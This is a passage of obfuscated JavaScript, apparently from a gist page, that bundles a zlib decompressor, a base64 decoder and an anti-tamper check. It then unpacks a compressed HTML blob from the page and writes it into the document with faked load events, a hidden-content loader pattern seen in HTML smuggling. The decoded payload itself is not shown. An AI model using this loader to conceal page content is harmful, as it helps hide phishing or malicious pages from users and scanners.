this["b"] = i;
this["a"] = arr;
}
break;
case 1:
var options = new set(USE_TYPEDARRAY ? new Uint8Array(this["a"][_0x56c7("0x33")]) : this["a"], this["b"]);
options["d"](1, 1, c);
options["d"](1, 2, c);
var key;
var result;
var hash;
var a = parse(this, args);
/** @type {number} */
key = 0;
result = a["length"];
for (; key < result; key++) {
if (hash = a[key], set[_0x56c7("0x2d")]["d"]["apply"](options, deletedHashes[hash]), 256 < hash) {
options["d"](a[++key], a[++key], c);
options["d"](a[++key], 5);
options["d"](a[++key], a[++key], c);
} else {
if (256 === hash) {
break;
}
}
}
this["a"] = options["finish"]();
this["b"] = this["a"][_0x56c7("0x29")];
break;
case node:
var event;
var data;
var numInThreshold;
var _emojiPending;
var num;
var values;
var ngAnimateConsumable;
var v;
var qParameters;
var obj;
var opts;
var e;
var indentString;
var i;
var tagOrShortcut;
var item = new set(USE_TYPEDARRAY ? new Uint8Array(this["a"]["buffer"]) : this["a"], this["b"]);
/** @type {!Array} */
var prev = [16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15];
/** @type {!Array} */
var all = Array(19);
/** @type {number} */
event = node;
item["d"](1, 1, c);
item["d"](event, 2, c);
data = parse(this, args);
ngAnimateConsumable = merge(values = factory(this["L"], 15));
qParameters = merge(v = factory(this["K"], 7));
/** @type {number} */
numInThreshold = 286;
for (; 257 < numInThreshold && 0 === values[numInThreshold - 1]; numInThreshold--) {
}
/** @type {number} */
_emojiPending = 30;
for (; 1 < _emojiPending && 0 === v[_emojiPending - 1]; _emojiPending--) {
}
var j;
var n;
var regExBonusMultiplier;
var length;
var end;
var CommentMatchPenalty;
/** @type {number} */
var hlit = numInThreshold;
/** @type {number} */
var hdist = _emojiPending;
var array = new (USE_TYPEDARRAY ? Uint32Array : Array)(hlit + hdist);
var buffer = new (USE_TYPEDARRAY ? Uint32Array : Array)(316);
var props = new (USE_TYPEDARRAY ? Uint8Array : Array)(19);
/** @type {number} */
j = n = 0;
for (; j < hlit; j++) {
array[n++] = values[j];
}
/** @type {number} */
j = 0;
for (; j < hdist; j++) {
array[n++] = v[j];
}
if (!USE_TYPEDARRAY) {
/** @type {number} */
j = 0;
length = props["length"];
for (; j < length; ++j) {
/** @type {number} */
props[j] = 0;
}
}
/** @type {number} */
j = end = 0;
length = array[_0x56c7("0x29")];
for (; j < length; j = j + n) {
/** @type {number} */
n = 1;
for (; j + n < length && array[j + n] === array[j]; ++n) {
}
if (regExBonusMultiplier = n, 0 === array[j]) {
if (3 > regExBonusMultiplier) {
for (; 0 < regExBonusMultiplier--;) {
/** @type {number} */
buffer[end++] = 0;
props[0]++;
}
} else {
for (; 0 < regExBonusMultiplier;) {
if ((CommentMatchPenalty = 138 > regExBonusMultiplier ? regExBonusMultiplier : 138) > regExBonusMultiplier - 3 && CommentMatchPenalty < regExBonusMultiplier) {
/** @type {number} */
CommentMatchPenalty = regExBonusMultiplier - 3;
}
if (10 >= CommentMatchPenalty) {
/** @type {number} */
buffer[end++] = 17;
/** @type {number} */
buffer[end++] = CommentMatchPenalty - 3;
props[17]++;
} else {
/** @type {number} */
buffer[end++] = 18;
/** @type {number} */
buffer[end++] = CommentMatchPenalty - 11;
props[18]++;
}
/** @type {number} */
regExBonusMultiplier = regExBonusMultiplier - CommentMatchPenalty;
}
}
} else {
if (buffer[end++] = array[j], props[array[j]]++, 3 > --regExBonusMultiplier) {
for (; 0 < regExBonusMultiplier--;) {
buffer[end++] = array[j];
props[array[j]]++;
}
} else {
for (; 0 < regExBonusMultiplier;) {
if ((CommentMatchPenalty = 6 > regExBonusMultiplier ? regExBonusMultiplier : 6) > regExBonusMultiplier - 3 && CommentMatchPenalty < regExBonusMultiplier) {
/** @type {number} */
CommentMatchPenalty = regExBonusMultiplier - 3;
}
/** @type {number} */
buffer[end++] = 16;
/** @type {number} */
buffer[end++] = CommentMatchPenalty - 3;
props[16]++;
/** @type {number} */
regExBonusMultiplier = regExBonusMultiplier - CommentMatchPenalty;
}
}
}
}
tagsWithShortcuts = USE_TYPEDARRAY ? buffer[_0x56c7("0x11")](0, end) : buffer["slice"](0, end);
obj = factory(props, 7);
/** @type {number} */
i = 0;
for (; 19 > i; i++) {
all[i] = obj[prev[i]];
}
/** @type {number} */
num = 19;
for (; 4 < num && 0 === all[num - 1]; num--) {
}
opts = merge(obj);
item["d"](numInThreshold - 257, 5, c);
item["d"](_emojiPending - 1, 5, c);
item["d"](num - 4, 4, c);
/** @type {number} */
i = 0;
for (; i < num; i++) {
item["d"](all[i], 3, c);
}
/** @type {number} */
i = 0;
tagOrShortcut = tagsWithShortcuts[_0x56c7("0x29")];
for (; i < tagOrShortcut; i++) {
if (e = tagsWithShortcuts[i], item["d"](opts[e], obj[e], c), 16 <= e) {
switch(i++, e) {
case 16:
/** @type {number} */
indentString = 2;
break;
case 17:
/** @type {number} */
indentString = 3;
break;
case 18:
/** @type {number} */
indentString = 7;
break;
default:
callback(_0x56c7("0x44") + e);
}
item["d"](tagsWithShortcuts[i], indentString, c);
}
}
var index;
var filter_error;
var argument;
var kprop;
var results;
var value;
var property;
var localVarCurr;
/** @type {!Array} */
var cache = [ngAnimateConsumable, values];
/** @type {!Array} */
var equationStringSplit = [qParameters, v];
results = cache[0];
value = cache[1];
property = equationStringSplit[0];
localVarCurr = equationStringSplit[1];
/** @type {number} */
index = 0;
filter_error = data[_0x56c7("0x29")];
for (; index < filter_error; ++index) {
if (argument = data[index], item["d"](results[argument], value[argument], c), 256 < argument) {
item["d"](data[++index], data[++index], c);
kprop = data[++index];
item["d"](property[kprop], localVarCurr[kprop], c);
item["d"](data[++index], data[++index], c);
} else {
if (256 === argument) {
break;
}
}
}
this["a"] = item[_0x56c7("0x1f")]();
this["b"] = this["a"][_0x56c7("0x29")];
break;
default:
callback(_0x56c7("0x13"));
}
return this["a"];
};
var key = function() {
/**
* @param {number} type
* @return {?}
*/
function lint(type) {
switch(true) {
case 3 === type:
return [257, type - 3, 0];
case 4 === type:
return [258, type - 4, 0];
case 5 === type:
return [259, type - 5, 0];
case 6 === type:
return [260, type - 6, 0];
case 7 === type:
return [261, type - 7, 0];
case 8 === type:
return [262, type - 8, 0];
case 9 === type:
return [263, type - 9, 0];
case 10 === type:
return [264, type - 10, 0];
case 12 >= type:
return [265, type - 11, 1];
case 14 >= type:
return [266, type - 13, 1];
case 16 >= type:
return [267, type - 15, 1];
case 18 >= type:
return [268, type - 17, 1];
case 22 >= type:
return [269, type - 19, 2];
case 26 >= type:
return [270, type - 23, 2];
case 30 >= type:
return [271, type - 27, 2];
case 34 >= type:
return [272, type - 31, 2];
case 42 >= type:
return [273, type - 35, 3];
case 50 >= type:
return [274, type - 43, 3];
case 58 >= type:
return [275, type - 51, 3];
case 66 >= type:
return [276, type - 59, 3];
case 82 >= type:
return [277, type - 67, 4];
case 98 >= type:
return [278, type - 83, 4];
case 114 >= type:
return [279, type - 99, 4];
case 130 >= type:
return [280, type - 115, 4];
case 162 >= type:
return [281, type - 131, 5];
case 194 >= type:
return [282, type - 163, 5];
case 226 >= type:
return [283, type - 195, 5];
case 257 >= type:
return [284, type - 227, 5];
case 258 === type:
return [285, type - 258, 0];
default:
callback(_0x56c7("0x41") + type);
}
}
var value;
var err;
/** @type {!Array} */
var OPERATION_ICONS = [];
/** @type {number} */
value = 3;
for (; 258 >= value; value++) {
err = lint(value);
/** @type {number} */
OPERATION_ICONS[value] = err[2] << 24 | err[1] << 16 | err[0];
}
return OPERATION_ICONS;
}();
var newPath = USE_TYPEDARRAY ? new Uint32Array(key) : key;
/** @type {number} */
var NUMBER = 0;
/** @type {number} */
var content = 1;
var map = {
D : NUMBER,
C : content
};
/**
* @return {?}
*/
createConfig[_0x56c7("0x2d")]["p"] = function() {
for (; !this["s"];) {
var size = render(this, 3);
switch(1 & size && (this["s"] = c), size = size >>> 1) {
case 0:
var self = this[_0x56c7("0x23")];
var i = this["c"];
var data = this["a"];
var position = this["b"];
var origMenu = self[_0x56c7("0x29")];
var count = undefined;
var pos = data[_0x56c7("0x29")];
var len = undefined;
switch(this["e"] = this["g"] = 0, i + 1 >= origMenu && callback(Error(_0x56c7("0x1b"))), count = self[i++] | self[i++] << 8, i + 1 >= origMenu && callback(Error("invalid uncompressed block header: NLEN")), count === ~(self[i++] | self[i++] << 8) && callback(Error("invalid uncompressed block header: length verify")), i + count > self[_0x56c7("0x29")] && callback(Error(_0x56c7("0x15"))), this["n"]) {
case NUMBER:
for (; position + count > data[_0x56c7("0x29")];) {
if (count = count - (len = pos - position), USE_TYPEDARRAY) {
data[_0x56c7("0x4")](self["subarray"](i, i + len), position);
position = position + len;
i = i + len;
} else {
for (; len--;) {
data[position++] = self[i++];
}
}
this["b"] = position;
data = this["f"]();
position = this["b"];
}
break;
case content:
for (; position + count > data[_0x56c7("0x29")];) {
data = this["f"]({
v : 2
});
}
break;
default:
callback(Error(_0x56c7("0x25")));
}if (USE_TYPEDARRAY) {
data[_0x56c7("0x4")](self[_0x56c7("0x11")](i, i + count), position);
position = position + count;
i = i + count;
} else {
for (; count--;) {
data[position++] = self[i++];
}
}
this["c"] = i;
this["b"] = position;
this["a"] = data;
break;
case 1:
this["o"](file, context);
break;
case 2:
var value;
var path;
var req;
var il;
var hlit = render(this, 5) + 257;
var hdist = render(this, 5) + 1;
var k = render(this, 4) + 4;
var result = new (USE_TYPEDARRAY ? Uint8Array : Array)(filter[_0x56c7("0x29")]);
var target = undefined;
var x = undefined;
var y = undefined;
var intermediateNameDecl = undefined;
var j = undefined;
/** @type {number} */
j = 0;
for (; j < k; ++j) {
result[filter[j]] = render(this, 3);
}
if (!USE_TYPEDARRAY) {
j = k;
k = result[_0x56c7("0x29")];
for (; j < k; ++j) {
/** @type {number} */
result[filter[j]] = 0;
}
}
value = require(result);
target = new (USE_TYPEDARRAY ? Uint8Array : Array)(hlit + hdist);
/** @type {number} */
j = 0;
il = hlit + hdist;
for (; j < il;) {
switch(x = resolve(this, value), x) {
case 16:
intermediateNameDecl = 3 + render(this, 2);
for (; intermediateNameDecl--;) {
target[j++] = y;
}
break;
case 17:
intermediateNameDecl = 3 + render(this, 3);
for (; intermediateNameDecl--;) {
/** @type {number} */
target[j++] = 0;
}
/** @type {number} */
y = 0;
break;
case 18:
intermediateNameDecl = 11 + render(this, 7);
for (; intermediateNameDecl--;) {
/** @type {number} */
target[j++] = 0;
}
/** @type {number} */
y = 0;
break;
default:
y = target[j++] = x;
}
}
path = require(USE_TYPEDARRAY ? target[_0x56c7("0x11")](0, hlit) : target[_0x56c7("0x26")](0, hlit));
req = require(USE_TYPEDARRAY ? target[_0x56c7("0x11")](hlit) : target[_0x56c7("0x26")](hlit));
this["o"](path, req);
break;
default:
callback(Error(_0x56c7("0xd") + size));
}
}
return this["t"]();
};
var assertionType;
var dataWorkedMinutes;
/** @type {!Array} */
var table = [16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15];
/** @type {(Array|Uint16Array)} */
var filter = USE_TYPEDARRAY ? new Uint16Array(table) : table;
/** @type {!Array} */
var linkIndices = [3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31, 35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258, 258, 258];
/** @type {(Array|Uint16Array)} */
var defs = USE_TYPEDARRAY ? new Uint16Array(linkIndices) : linkIndices;
/** @type {!Array} */
var outputByteCount = [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0, 0, 0];
/** @type {(Array|Uint8Array)} */
var signedTransactions = USE_TYPEDARRAY ? new Uint8Array(outputByteCount) : outputByteCount;
/** @type {!Array} */
var rawData = [1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193, 257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145, 8193, 12289, 16385, 24577];
/** @type {(Array|Uint16Array)} */
var data = USE_TYPEDARRAY ? new Uint16Array(rawData) : rawData;
/** @type {!Array} */
var input = [0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13];
/** @type {(Array|Uint8Array)} */
var handle = USE_TYPEDARRAY ? new Uint8Array(input) : input;
var value = new (USE_TYPEDARRAY ? Uint8Array : Array)(288);
/** @type {number} */
assertionType = 0;
dataWorkedMinutes = value[_0x56c7("0x29")];
for (; assertionType < dataWorkedMinutes; ++assertionType) {
/** @type {number} */
value[assertionType] = 143 >= assertionType ? 8 : 255 >= assertionType ? 9 : 279 >= assertionType ? 7 : 8;
}
var iNext2;
var currentPath;
var file = require(value);
var path = new (USE_TYPEDARRAY ? Uint8Array : Array)(30);
/** @type {number} */
iNext2 = 0;
currentPath = path[_0x56c7("0x29")];
for (; iNext2 < currentPath; ++iNext2) {
/** @type {number} */
path[iNext2] = 5;
}
var context = require(path);
/**
* @param {!Object} u
* @param {!Object} y
* @return {undefined}
*/
createConfig[_0x56c7("0x2d")]["o"] = function(u, y) {
var i = this["a"];
var c = this["b"];
/** @type {!Object} */
this["u"] = u;
var x;
var signedTransactionsCounter;
var temp;
var base;
/** @type {number} */
var delta = i[_0x56c7("0x29")] - 258;
for (; 256 !== (x = resolve(this, u));) {
if (256 > x) {
if (c >= delta) {
this["b"] = c;
i = this["f"]();
c = this["b"];
}
i[c++] = x;
} else {
base = defs[signedTransactionsCounter = x - 257];
if (0 < signedTransactions[signedTransactionsCounter]) {
base = base + render(this, signedTransactions[signedTransactionsCounter]);
}
x = resolve(this, y);
temp = data[x];
if (0 < handle[x]) {
temp = temp + render(this, handle[x]);
}
if (c >= delta) {
this["b"] = c;
i = this["f"]();
c = this["b"];
}
for (; base--;) {
i[c] = i[c++ - temp];
}
}
}
for (; 8 <= this["e"];) {
this["e"] -= 8;
this["c"]--;
}
this["b"] = c;
};
/**
* @param {!Object} u
* @param {!Object} y
* @return {undefined}
*/
createConfig[_0x56c7("0x2d")]["I"] = function(u, y) {
var obj = this["a"];
var i = this["b"];
/** @type {!Object} */
this["u"] = u;
var x;
var signedTransactionsCounter;
var temp;
var base;
var n = obj[_0x56c7("0x29")];
for (; 256 !== (x = resolve(this, u));) {
if (256 > x) {
if (i >= n) {
n = (obj = this["f"]())[_0x56c7("0x29")];
}
obj[i++] = x;
} else {
base = defs[signedTransactionsCounter = x - 257];
if (0 < signedTransactions[signedTransactionsCounter]) {
base = base + render(this, signedTransactions[signedTransactionsCounter]);
}
x = resolve(this, y);
temp = data[x];
if (0 < handle[x]) {
temp = temp + render(this, handle[x]);
}
if (i + base > n) {
n = (obj = this["f"]())[_0x56c7("0x29")];
}
for (; base--;) {
obj[i] = obj[i++ - temp];
}
}
}
for (; 8 <= this["e"];) {
this["e"] -= 8;
this["c"]--;
}
this["b"] = i;
};
/**
* @return {?}
*/
createConfig[_0x56c7("0x2d")]["f"] = function() {
var i;
var key;
var r = new (USE_TYPEDARRAY ? Uint8Array : Array)(this["b"] - 32768);
/** @type {number} */
var response = this["b"] - 32768;
var args = this["a"];
if (USE_TYPEDARRAY) {
r[_0x56c7("0x4")](args[_0x56c7("0x11")](32768, r[_0x56c7("0x29")]));
} else {
/** @type {number} */
i = 0;
key = r["length"];
for (; i < key; ++i) {
r[i] = args[i + 32768];
}
}
if (this["l"]["push"](r), this["q"] += r[_0x56c7("0x29")], USE_TYPEDARRAY) {
args[_0x56c7("0x4")](args["subarray"](response, response + 32768));
} else {
/** @type {number} */
i = 0;
for (; 32768 > i; ++i) {
args[i] = args[response + i];
}
}
return this["b"] = 32768, args;
};
/**
* @param {!Object} d
* @return {?}
*/
createConfig["prototype"]["J"] = function(d) {
var v;
var b1;
var distance;
/** @type {number} */
var value = this[_0x56c7("0x23")]["length"] / this["c"] + 1 | 0;
var indexMap = this[_0x56c7("0x23")];
var start = this["a"];
return d && (_0x56c7("0x30") == typeof d["v"] && (value = d["v"]), "number" == typeof d["F"] && (value = value + d["F"])), 2 > value ? b1 = (distance = (indexMap[_0x56c7("0x29")] - this["c"]) / this["u"][2] / 2 * 258 | 0) < start[_0x56c7("0x29")] ? start[_0x56c7("0x29")] + distance : start[_0x56c7("0x29")] << 1 : b1 = start[_0x56c7("0x29")] * value, USE_TYPEDARRAY ? (v = new Uint8Array(b1))[_0x56c7("0x4")](start) : v = start, this["a"] = v;
};
/**
* @return {?}
*/
createConfig[_0x56c7("0x2d")]["t"] = function() {
var options;
var i;
var max;
var name;
var targetName;
/** @type {number} */
var j = 0;
var s1 = this["a"];
var data = this["l"];
var result = new (USE_TYPEDARRAY ? Uint8Array : Array)(this["q"] + (this["b"] - 32768));
if (0 === data[_0x56c7("0x29")]) {
return USE_TYPEDARRAY ? this["a"]["subarray"](32768, this["b"]) : this["a"][_0x56c7("0x26")](32768, this["b"]);
}
/** @type {number} */
i = 0;
max = data[_0x56c7("0x29")];
for (; i < max; ++i) {
/** @type {number} */
name = 0;
targetName = (options = data[i])[_0x56c7("0x29")];
for (; name < targetName; ++name) {
result[j++] = options[name];
}
}
/** @type {number} */
i = 32768;
max = this["b"];
for (; i < max; ++i) {
result[j++] = s1[i];
}
return this["l"] = [], this["buffer"] = result;
};
/**
* @return {?}
*/
createConfig[_0x56c7("0x2d")]["H"] = function() {
var a;
var b = this["b"];
return USE_TYPEDARRAY ? this["B"] ? (a = new Uint8Array(b))[_0x56c7("0x4")](this["a"]["subarray"](0, b)) : a = this["a"][_0x56c7("0x11")](0, b) : (this["a"][_0x56c7("0x29")] > b && (this["a"]["length"] = b), a = this["a"]), this[_0x56c7("0x33")] = a;
};
/**
* @return {?}
*/
create[_0x56c7("0x2d")]["p"] = function() {
var surface;
var inputAccessor = this["input"];
return surface = this["A"]["p"](), this["c"] = this["A"]["c"], this["M"] && (inputAccessor[this["c"]++] << 24 | inputAccessor[this["c"]++] << 16 | inputAccessor[this["c"]++] << 8 | inputAccessor[this["c"]++]) >>> 0 !== f(surface) && callback(Error(_0x56c7("0x3e"))), surface;
};
/** @type {number} */
var delegate = 8;
var p = obj;
/**
* @return {?}
*/
result[_0x56c7("0x2d")]["j"] = function() {
var options;
var mcsPdu;
var e;
var gy;
var _0x4ac80e;
var message;
var a;
/** @type {number} */
var PL$17 = 0;
switch(a = this["a"], options = delegate) {
case delegate:
/** @type {number} */
mcsPdu = Math["LOG2E"] * Math["log"](32768) - 8;
break;
default:
callback(Error("invalid compression method"));
}
switch(e = mcsPdu << 4 | options, a[PL$17++] = e, options) {
case delegate:
switch(this["h"]) {
case p["NONE"]:
/** @type {number} */
_0x4ac80e = 0;
break;
case p["r"]:
/** @type {number} */
_0x4ac80e = 1;
break;
case p["k"]:
/** @type {number} */
_0x4ac80e = 2;
break;
default:
callback(Error(_0x56c7("0x36")));
}break;
default:
callback(Error("invalid compression method"));
}
return gy = _0x4ac80e << 6 | 0, a[PL$17++] = gy | 31 - (256 * e + gy) % 31, message = f(this["input"]), this["z"]["b"] = PL$17, PL$17 = (a = this["z"]["j"]())["length"], USE_TYPEDARRAY && ((a = new Uint8Array(a[_0x56c7("0x33")]))["length"] <= PL$17 + 4 && (this["a"] = new Uint8Array(a[_0x56c7("0x29")] + 4), this["a"][_0x56c7("0x4")](a), a = this["a"]), a = a["subarray"](0, PL$17 + 4)), a[PL$17++] = message >> 24 & 255, a[PL$17++] = message >> 16 & 255, a[PL$17++] = message >> 8 & 255, a[PL$17++] =
255 & message, a;
};
extend(_0x56c7("0x2b"), create);
extend(_0x56c7("0x24"), create[_0x56c7("0x2d")]["p"]);
_pretty_print_object(_0x56c7("0x9"), {
ADAPTIVE : map["C"],
BLOCK : map["D"]
});
extend("Zlib.Deflate", result);
extend(_0x56c7("0x2e"), function(s, o) {
return (new result(s, o))["j"]();
});
extend("Zlib.Deflate.prototype.compress", result[_0x56c7("0x2d")]["j"]);
_pretty_print_object(_0x56c7("0x0"), {
NONE : p[_0x56c7("0x27")],
FIXED : p["r"],
DYNAMIC : p["k"]
});
})[_0x56c7("0xc")](this);
var ret;
var foo;
var value;
/** @type {function(!Object): ?} */
var initSortMenu = (ret = new Array(128), foo = String[_0x56c7("0x1e")] || String[_0x56c7("0x43")], value = [], function(self) {
var i;
var memo;
var limit = self[_0x56c7("0x29")];
/** @type {number} */
value[_0x56c7("0x29")] = 0;
/** @type {number} */
var length = 0;
for (; length < limit;) {
if ((memo = self[length++]) <= 127) {
i = memo;
} else {
if (memo <= 223) {
/** @type {number} */
i = (31 & memo) << 6 | 63 & self[length++];
} else {
if (memo <= 239) {
/** @type {number} */
i = (15 & memo) << 12 | (63 & self[length++]) << 6 | 63 & self[length++];
} else {
if (String[_0x56c7("0x1e")]) {
/** @type {number} */
i = (7 & memo) << 18 | (63 & self[length++]) << 12 | (63 & self[length++]) << 6 | 63 & self[length++];
} else {
/** @type {number} */
i = 63;
/** @type {number} */
length = length + 3;
}
}
}
}
value[_0x56c7("0x42")](ret[i] || (ret[i] = foo(i)));
}
return value["join"]("");
});
let applyTheme;
!function() {
var name = unstripName(this, function() {
/**
* @return {?}
*/
var gotoNewOfflinePage = function() {
var leon_construct = gotoNewOfflinePage[_0x56c7("0x38")](_0x56c7("0x3d"))()[_0x56c7("0x1d")](_0x56c7("0x2"));
return !leon_construct[_0x56c7("0xb")](name);
};
return gotoNewOfflinePage();
});
name();
const command_codes = _0x56c7("0x8");
let log = new Uint8Array(256);
/** @type {number} */
var data = 0;
for (; data < command_codes[_0x56c7("0x29")]; data++) {
/** @type {number} */
log[command_codes[_0x56c7("0x19")](data)] = data;
}
/**
* @param {!Object} PL$13
* @return {?}
*/
applyTheme = function(PL$13) {
let PL$19;
let sextet1;
let sextet2;
let leek;
let userlist;
let outputByteCount = 0.75 * PL$13[_0x56c7("0x29")];
let PL$4 = PL$13[_0x56c7("0x29")];
let callbackCount = 0;
if ("=" === PL$13[PL$13[_0x56c7("0x29")] - 1]) {
outputByteCount--;
if ("=" === PL$13[PL$13["length"] - 2]) {
outputByteCount--;
}
}
let callbackVals = new Uint8Array(outputByteCount);
/** @type {number} */
PL$19 = 0;
for (; PL$19 < PL$4; PL$19 = PL$19 + 4) {
sextet1 = log[PL$13["charCodeAt"](PL$19)];
sextet2 = log[PL$13["charCodeAt"](PL$19 + 1)];
leek = log[PL$13[_0x56c7("0x19")](PL$19 + 2)];
userlist = log[PL$13[_0x56c7("0x19")](PL$19 + 3)];
/** @type {number} */
callbackVals[callbackCount++] = sextet1 << 2 | sextet2 >> 4;
/** @type {number} */
callbackVals[callbackCount++] = (15 & sextet2) << 4 | leek >> 2;
/** @type {number} */
callbackVals[callbackCount++] = (3 & leek) << 6 | 63 & userlist;
}
return callbackVals;
};
}();
const ListSubHeader = document["getElementById"](_0x56c7("0x3b"))[_0x56c7("0xe")][_0x56c7("0x35")]();
const _0x78dd42 = applyTheme(ListSubHeader);
const GET_AUTH_URL_TIMEOUT = initSortMenu((new (Zlib[_0x56c7("0x39")])(_0x78dd42))[_0x56c7("0x14")]());
const notif_data = (new DOMParser)["parseFromString"](GET_AUTH_URL_TIMEOUT, "text/html");
const B528 = '(function() {\n window.document.dispatchEvent(new Event("DOMContentLoaded", {\n bubbles: true,\n cancelable: true\n }));\n const le = document.createEvent("HTMLEvents");\n le.initEvent("load", false, true);\n document.dispatchEvent(le);\n document.currentScript.remove();\n })();\n ';
const artistTrack = document[_0x56c7("0x12")]("script");
artistTrack[_0x56c7("0x2c")] = B528["trim"]();
notif_data["body"][_0x56c7("0x28")](artistTrack);
setTimeout(function() {
document[_0x56c7("0x1")](notif_data[_0x56c7("0x32")][_0x56c7("0xe")]);
document[_0x56c7("0x40")]();
}, 0);
}();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment